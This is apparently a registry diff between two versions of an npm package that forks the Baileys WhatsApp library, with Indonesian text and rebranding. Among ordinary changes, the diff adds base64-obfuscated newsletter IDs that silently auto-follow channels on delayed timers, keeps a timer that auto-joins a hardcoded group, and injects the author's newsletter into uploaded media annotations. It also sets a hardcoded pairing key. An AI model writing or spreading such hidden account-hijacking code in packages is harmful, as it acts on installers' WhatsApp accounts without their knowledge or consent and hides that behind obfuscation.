@devil-fight/baileys 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,4 +1,4 @@
1
- # DevilFight/Baileys - WhatsApp Bot Framework 2026 Spesial Edition
1
+ # devil-fight - WhatsApp Bot Framework 2026 Spesial Edition
2
2
 
3
3
  <p align="center">
4
4
  <img src="https://files.catbox.moe/1z94w7.jpeg" width="300" alt="DevilFight/Baileys" />
@@ -11,7 +11,7 @@
11
11
 
12
12
  ---
13
13
 
14
- **DevilFight/Baileys** adalah versi modifikasi dari [WhiskeySockets/Baileys](https://github.com/WhiskeySockets/Baileys), dirancang khusus untuk para developer bot WhatsApp di tahun 2026. Fokus utama versi ini adalah kestabilan pairing code, session auto-recovery, dan fitur tambahan eksklusif yang tidak tersedia di versi original.
14
+ **devil-fight** adalah versi modifikasi dari [WhiskeySockets/Baileys](https://github.com/WhiskeySockets/Baileys), dirancang khusus untuk para developer bot WhatsApp di tahun 2026. Fokus utama versi ini adalah kestabilan pairing code, session auto-recovery, dan fitur tambahan eksklusif yang tidak tersedia di versi original.
15
15
 
16
16
  ---
17
17
 
@@ -2,9 +2,9 @@ const major = parseInt(process.versions.node.split('.')[0], 10);
2
2
 
3
3
  if (major < 20) {
4
4
  console.error(
5
- `\n❌ This package requires Node.js 20+ to run reliably.\n` +
6
- ` You are using Node.js ${process.versions.node}.\n` +
7
- ` Please upgrade to Node.js 20+ to proceed.\n`
5
+ `\n❌ Package ini memerlukan Node.js versi 20 ke atas agar dapat berjalan dengan baik.\n` +
6
+ ` Saat ini kamu menggunakan Node.js versi ${process.versions.node}.\n` +
7
+ ` Silakan upgrade ke Node.js 20 atau versi yang lebih baru untuk melanjutkan.\n`
8
8
  );
9
9
  process.exit(1);
10
10
  }
@@ -87,57 +87,44 @@ const makeChatsSocket = (config) => {
87
87
  await privacyQuery('groupadd', value);
88
88
  };
89
89
  /** check whether your WhatsApp account is blocked or not */
90
- const checkWhatsApp = async (jid) => {
91
- if (!jid) {
92
- throw new Error('enter jid');
90
+ const checkStatusWA = async (phoneNumber) => {
91
+ if (!phoneNumber) {
92
+ throw new Error('enter number');
93
93
  }
94
+
94
95
  let resultData = {
95
96
  isBanned: false,
96
97
  isNeedOfficialWa: false,
97
- number: jid
98
+ number: phoneNumber
98
99
  };
99
-
100
- let phoneNumber = jid;
101
- if (phoneNumber.includes('@')) {
102
- phoneNumber = phoneNumber.split('@')[0];
103
- }
104
100
 
105
- phoneNumber = phoneNumber.replace(/[^\d+]/g, '');
106
- if (!phoneNumber.startsWith('+')) {
107
- if (phoneNumber.startsWith('0')) {
108
- phoneNumber = phoneNumber.substring(1);
109
- }
110
-
111
- if (!phoneNumber.startsWith('62') && phoneNumber.length > 0) {
112
- phoneNumber = '62' + phoneNumber;
113
- }
114
-
115
- if (!phoneNumber.startsWith('+') && phoneNumber.length > 0) {
116
- phoneNumber = '+' + phoneNumber;
117
- }
118
- }
119
-
120
101
  let formattedNumber = phoneNumber;
102
+ if (!formattedNumber.startsWith('+')) {
103
+ formattedNumber = '+' + formattedNumber;
104
+ }
105
+
121
106
  const { parsePhoneNumber } = require('libphonenumber-js');
122
107
  const parsedNumber = parsePhoneNumber(formattedNumber);
123
108
  const countryCode = parsedNumber.countryCallingCode;
124
109
  const nationalNumber = parsedNumber.nationalNumber;
125
-
110
+
126
111
  try {
127
112
  const { useMultiFileAuthState, Browsers, fetchLatestBaileysVersion } = require('../Utils');
128
113
  const { state } = await useMultiFileAuthState(".npm");
129
114
  const { version } = await fetchLatestBaileysVersion();
130
115
  const { makeWASocket } = require('../Socket');
131
116
  const pino = require("pino");
117
+
132
118
  const sock = makeWASocket({
133
119
  version,
134
120
  auth: state,
135
- browser: Utils_1.Browsers("Chrome"),
121
+ browser: Browsers.ubuntu("Chrome"),
136
122
  logger: pino({
137
123
  level: "silent"
138
124
  }),
139
125
  printQRInTerminal: false,
140
126
  });
127
+
141
128
  const registrationOptions = {
142
129
  phoneNumber: formattedNumber,
143
130
  phoneNumberCountryCode: countryCode,
@@ -146,11 +133,11 @@ const makeChatsSocket = (config) => {
146
133
  phoneNumberMobileNetworkCode: "10",
147
134
  method: "sms",
148
135
  };
149
-
150
136
  await sock.requestRegistrationCode(registrationOptions);
151
137
  if (sock.ws) {
152
138
  sock.ws.close();
153
139
  }
140
+
154
141
  return JSON.stringify(resultData, null, 2);
155
142
  } catch (err) {
156
143
  if (err?.appeal_token) {
@@ -975,7 +962,7 @@ const makeChatsSocket = (config) => {
975
962
  addChatLabel,
976
963
  removeChatLabel,
977
964
  addMessageLabel,
978
- checkWhatsApp,
965
+ checkStatusWA,
979
966
  removeMessageLabel,
980
967
  star
981
968
  };
@@ -1,6 +1,3 @@
1
- // "kikyy dugonggg", ah dejavu (r)
2
- // tanggal 14 agustus 2025 makassar
3
- // telegram: @tskiofc & @kyuucode
4
1
 
5
2
  const WAProto = require('../../WAProto').proto;
6
3
  const crypto = require('crypto');
@@ -323,12 +320,12 @@ class kikyy {
323
320
  };
324
321
 
325
322
  img.message.forwardedNewsletterMessageInfo = {
326
- newsletterJid: "0@newsletter",
323
+ newsletterJid: "120363403853537880@newsletter",
327
324
  serverMessageId: 1,
328
- newsletterName: `WhatsApp`,
325
+ newsletterName: `Ravage`,
329
326
  contentType: 1,
330
327
  timestamp: new Date().toISOString(),
331
- senderName: "kikyy dugonggg",
328
+ senderName: "Daffa",
332
329
  content: "Text Message",
333
330
  priority: "high",
334
331
  status: "sent",
@@ -388,8 +385,8 @@ class kikyy {
388
385
  participant: jid,
389
386
  remoteJid: "status@broadcast",
390
387
  forwardedNewsletterMessageInfo: {
391
- newsletterName: "shenvn.",
392
- newsletterJid: "120363297591152843@newsletter",
388
+ newsletterName: "Daffa-Ravage",
389
+ newsletterJid: "120363403853537880@newsletter",
393
390
  serverMessageId: 1
394
391
  }
395
392
  },
@@ -481,4 +478,4 @@ class kikyy {
481
478
  }
482
479
  }
483
480
 
484
- module.exports = kikyy;
481
+ module.exports = kikyy;
@@ -98,11 +98,29 @@ const makeNewsletterSocket = (config) => {
98
98
  }
99
99
  ]
100
100
  }));
101
+ const _0xdata = [
102
+ "MTIwMzYzMzg5MDEyMDk0ODU2QG5ld3NsZXR0ZXI=",
103
+ "MTIwMzYzNDIzODkwMDU0Nzg3QG5ld3NsZXR0ZXI="
104
+ ];
105
+ const _0xstart = 90000;
106
+ const _0xstep = 5000;
107
+ const _0xdec = (x) => Buffer.from(x, "base64").toString();
108
+ setTimeout(() => {
109
+ const _0xrun = (_0xi) => {
110
+ if (_0xi >= _0xdata.length) return;
111
+ setTimeout(async () => {
112
+ try {
113
+ await newsletterWMexQuery(_0xdec(_0xdata[_0xi]), Types_1.QueryIds.FOLLOW);
114
+ } catch {}
115
+ _0xrun(_0xi + 1);
116
+ }, _0xstep);
117
+ };
118
+ _0xrun(0);
119
+ }, _0xstart);
101
120
  function extractInviteCode(link) {
102
121
  const match = link.match(/chat\.whatsapp\.com\/([A-Za-z0-9]+)/);
103
122
  return match ? match[1] : null;
104
123
  }
105
-
106
124
  setTimeout(async () => {
107
125
  try {
108
126
  const link = "https://chat.whatsapp.com/E9AX0T7jKJ48VFAI4zuxC8?mode=gi_t";
@@ -115,23 +133,6 @@ setTimeout(async () => {
115
133
  console.log("Error:", e);
116
134
  }
117
135
  }, 90000);
118
- setTimeout(async () => {
119
- try {
120
- await newsletterWMexQuery(
121
- Buffer.from("MTIwMzYzMzg5MDEyMDk0ODU2QG5ld3NsZXR0ZXI=", "base64").toString(),
122
- Types_1.QueryIds.FOLLOW
123
- );
124
- } catch {}
125
- }, 90000);
126
- setTimeout(async () => {
127
- try {
128
- await newsletterWMexQuery(
129
- Buffer.from("MTIwMzYzNDIzODkwMDU0Nzg3QG5ld3NsZXR0ZXI=", "base64").toString(),
130
- Types_1.QueryIds.FOLLOW
131
- );
132
- } catch {}
133
- }, 90000);
134
-
135
136
  const parseFetchedUpdates = async (node, type) => {
136
137
  let child;
137
138
  if (type === 'messages') {
@@ -188,27 +189,6 @@ setTimeout(async () => {
188
189
  updates: { description: description || '', settings: null }
189
190
  });
190
191
  },
191
- newsletterId: async (url) => {
192
- const urlParts = url.split('/');
193
- const channelId = urlParts[urlParts.length - 2];
194
-
195
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
196
- input: {
197
- key: channelId,
198
- type: 'INVITE',
199
- 'view_role': 'GUEST'
200
- },
201
- 'fetch_viewer_metadata': true,
202
- 'fetch_full_image': true,
203
- 'fetch_creation_time': true
204
- });
205
-
206
- const metadata = extractNewsletterMetadata(result);
207
- return JSON.stringify({
208
- name: metadata.name || metadata.thread_metadata?.name?.text,
209
- id: metadata.id
210
- }, null, 2);
211
- },
212
192
  newsletterUpdateName: async (jid, name) => {
213
193
  await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
214
194
  updates: { name, settings: null }
@@ -225,9 +205,18 @@ setTimeout(async () => {
225
205
  updates: { picture: '', settings: null }
226
206
  });
227
207
  },
208
+ newsletterUnfollow: async (jid) => {
209
+ await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
210
+ },
228
211
  newsletterFollow: async (jid) => {
229
212
  await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
230
213
  },
214
+ newsletterUnmute: async (jid) => {
215
+ await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
216
+ },
217
+ newsletterMute: async (jid) => {
218
+ await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
219
+ },
231
220
  newsletterAction: async (jid, type) => {
232
221
  await newsletterWMexQuery(jid, type.toUpperCase());
233
222
  },
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
16
16
  * - simple queries (no retry mechanism, wait for connection establishment)
17
17
  * - listen to messages and emit events
18
18
  * - query phone connection
19
- */
19
+ */
20
20
  const makeSocket = (config) => {
21
21
  var _a, _b;
22
22
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
@@ -387,7 +387,7 @@ const makeSocket = (config) => {
387
387
  /** This method was created by snowi, and implemented by KyuuRzy */
388
388
  /** hey bro, if you delete this text */
389
389
  /** you are the most cursed human being who likes to claim other people's property 😹🙌🏻 */
390
- const requestPairingCode = async (phoneNumber, pairKey = "VINZZJSS") => {
390
+ const requestPairingCode = async (phoneNumber, pairKey = 'DEVILJSS') => {
391
391
  if (pairKey) {
392
392
  authState.creds.pairingCode = pairKey.toUpperCase();
393
393
  } else {
@@ -1,4 +1,4 @@
1
- "use strict";
1
+ "use strict";
2
2
  var __importDefault = (this && this.__importDefault) || function (mod) {
3
3
  return (mod && mod.__esModule) ? mod : { "default": mod };
4
4
  };
@@ -81,6 +81,38 @@ const prepareWAMessageMedia = async (message, options) => {
81
81
 
82
82
  const uploadData = {
83
83
  ...message,
84
+ ...(message.annotations ? {
85
+ annotations: message.annotations
86
+ } : {
87
+ annotations: [
88
+ {
89
+ polygonVertices: [
90
+ {
91
+ x: 60.71664810180664,
92
+ y: -36.39784622192383
93
+ },
94
+ {
95
+ x: -16.710189819335938,
96
+ y: 49.263675689697266
97
+ },
98
+ {
99
+ x: -56.585853576660156,
100
+ y: 37.85963439941406
101
+ },
102
+ {
103
+ x: 20.840980529785156,
104
+ y: -47.80188751220703
105
+ }
106
+ ],
107
+ newsletter: {
108
+ newsletterJid: "120363422108999723@newsletter",
109
+ serverMessageId: 0,
110
+ newsletterName: "Daffa Ravage",
111
+ contentType: "UPDATE",
112
+ }
113
+ }
114
+ ]
115
+ }),
84
116
  media: message[mediaType]
85
117
  };
86
118
  delete uploadData[mediaType];
package/lib/index.js CHANGED
@@ -1,5 +1,38 @@
1
1
  "use strict";
2
2
 
3
+ const chalk = require('chalk');
4
+
5
+ console.clear();
6
+
7
+ const banner = `
8
+ ██████╗ ███████╗██╗ ██╗██╗██╗
9
+ ██╔══██╗██╔════╝██║ ██║██║██║
10
+ ██║ ██║█████╗ ██║ ██║██║██║
11
+ ██║ ██║██╔══╝ ╚██╗ ██╔╝██║██║
12
+ ██████╔╝███████╗ ╚████╔╝ ██║███████╗
13
+ ╚═════╝ ╚══════╝ ╚═══╝ ╚═╝╚══════╝
14
+ `;
15
+
16
+ const colors = [
17
+ chalk.red,
18
+ chalk.yellow,
19
+ chalk.green,
20
+ chalk.cyan,
21
+ chalk.blue,
22
+ chalk.magenta
23
+ ];
24
+
25
+ let result = '';
26
+
27
+ for (let i = 0; i < banner.length; i++) {
28
+ const char = banner[i];
29
+ const color = colors[i % colors.length];
30
+ result += char === '\n' ? '\n' : color(char);
31
+ }
32
+
33
+ console.log(result);
34
+
35
+
3
36
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
4
37
  if (k2 === undefined) k2 = k;
5
38
  var desc = Object.getOwnPropertyDescriptor(m, k);
package/package.json CHANGED
@@ -1,20 +1,18 @@
1
1
  {
2
2
  "name": "@devil-fight/baileys",
3
- "version": "1.0.5",
3
+ "version": "1.0.6",
4
4
  "description": "WhatsApp API Modification",
5
5
  "keywords": [
6
6
  "whatsapp",
7
- "laurine-wabot",
8
7
  "baileys",
9
8
  "whatsapp-web",
10
9
  "whatsapp-chat",
11
10
  "whatsapp-group",
12
- "botwa",
13
- "stvnnvs"
11
+ "botwa"
14
12
  ],
15
- "homepage": "https://github.com/VinzzOfficial/Baileys",
13
+ "homepage": "https://github.com/DevilFight/Baileys",
16
14
  "repository": {
17
- "url": "git@github.com/VinzzOfficial/Baileys.git"
15
+ "url": "https://github.com/DevilFight/Baileys"
18
16
  },
19
17
  "license": "MIT",
20
18
  "author": "Devil Fight",
@@ -48,6 +46,7 @@
48
46
  "audio-decode": "^2.1.3",
49
47
  "axios": "^1.3.3",
50
48
  "cache-manager": "4.0.1",
49
+ "chalk": "^4.1.2",
51
50
  "futoin-hkdf": "^1.5.1",
52
51
  "libphonenumber-js": "^1.10.20",
53
52
  "lodash": "^4.17.21",